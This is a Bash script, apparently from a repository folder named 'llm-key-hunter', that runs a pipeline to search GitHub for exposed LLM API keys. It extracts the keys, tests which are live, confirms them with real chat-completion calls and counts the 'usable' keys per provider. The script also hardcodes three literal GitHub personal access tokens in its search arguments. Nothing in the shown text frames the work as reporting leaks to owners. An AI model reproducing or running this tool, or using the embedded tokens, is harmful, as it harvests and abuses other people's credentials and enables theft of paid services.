Files
hack/tools/scripts/llm-key-hunter/run_full.sh
T

81 lines
4.1 KiB
Bash
Executable File

#!/bin/bash
# Full pipeline runner — broad search → extract → verify → deep verify
set -uo pipefail
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
RESULTS_DIR="${SCRIPT_DIR}/results"
LOG_FILE="${RESULTS_DIR}/full_run_$(date +%Y%m%d_%H%M%S).log"
exec > >(tee -a "$LOG_FILE") 2>&1
echo "══════════════════════════════════════════════════════════════"
echo "Full pipeline started: $(date)"
echo "Log: $LOG_FILE"
echo "══════════════════════════════════════════════════════════════"
GH_TOKEN=$(gh auth token 2>/dev/null)
if [ -z "$GH_TOKEN" ]; then
echo "ERROR: No GitHub token"
exit 1
fi
export GH_TOKEN
export PYTHONUNBUFFERED=1
# ── Step 1: GitHub broad search ───────────────────────────────
echo ""
echo "=== Step 1/4: GitHub Broad Search ==="
SEARCH_ARGS=(--token "$GH_TOKEN" --token "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" --token "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" --token "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" --no-topics --no-commits --max-results 200)
# Resume from checkpoint if present
if [ -f "${RESULTS_DIR}/candidates.checkpoint.json" ]; then
SEARCH_ARGS+=(--resume)
echo "Resuming from checkpoint..."
fi
python3 "${SCRIPT_DIR}/github_search.py" "${SEARCH_ARGS[@]}"
echo "Step 1 done: $(date)"
# ── Step 2: Extract keys from candidates ──────────────────────
echo ""
echo "=== Step 2/4: Extract Keys ==="
python3 "${SCRIPT_DIR}/extract.py"
echo "Step 2 done: $(date)"
# ── Step 3: Verify keys (parallel) ────────────────────────────
echo ""
echo "=== Step 3/4: Verify Keys ==="
python3 "${SCRIPT_DIR}/verify.py"
echo "Step 3 done: $(date)"
# ── Step 4: Deep verify (actual chat completions) ─────────────
echo ""
echo "=== Step 4/4: Deep Verify ==="
python3 "${SCRIPT_DIR}/deep_verify.py"
echo "Step 4 done: $(date)"
# ── Summary ───────────────────────────────────────────────────
echo ""
echo "══════════════════════════════════════════════════════════════"
echo "Pipeline complete: $(date)"
echo "══════════════════════════════════════════════════════════════"
echo ""
echo "=== Results Summary ==="
echo "Candidates: $(python3 -c "import json; print(len(json.load(open('${RESULTS_DIR}/candidates.json'))))" 2>/dev/null || echo '?')"
echo "Extracted: $(wc -l < "${RESULTS_DIR}/extracted_keys.txt" 2>/dev/null || echo '?')"
echo "Unique keys: $(wc -l < "${RESULTS_DIR}/unique_keys.txt" 2>/dev/null || echo '?')"
echo "Live (raw): $(wc -l < "${RESULTS_DIR}/live_keys_raw.txt" 2>/dev/null || echo '?')"
echo "Combined: $(wc -l < "${RESULTS_DIR}/live_keys_combined.txt" 2>/dev/null || echo '?')"
echo "Deep usable: $(wc -l < "${RESULTS_DIR}/deep_verify/usable.txt" 2>/dev/null || echo '?')"
echo ""
echo "=== Usable by provider ==="
cut -d'|' -f1 "${RESULTS_DIR}/deep_verify/usable.txt" 2>/dev/null | sort | uniq -c | sort -rn
# ── Diff against baseline ─────────────────────────────────────
BASELINE=$(ls -t "${RESULTS_DIR}/deep_verify/usable.txt.baseline_"* 2>/dev/null | head -1)
if [ -n "$BASELINE" ]; then
echo ""
echo "=== New usable keys (vs baseline) ==="
comm -13 <(sort "$BASELINE") <(sort "${RESULTS_DIR}/deep_verify/usable.txt" 2>/dev/null) | tee "${RESULTS_DIR}/new_usable.txt"
NEW_COUNT=$(wc -l < "${RESULTS_DIR}/new_usable.txt" 2>/dev/null | tr -d ' ')
echo ""
echo "New usable: ${NEW_COUNT:-0} keys"
fi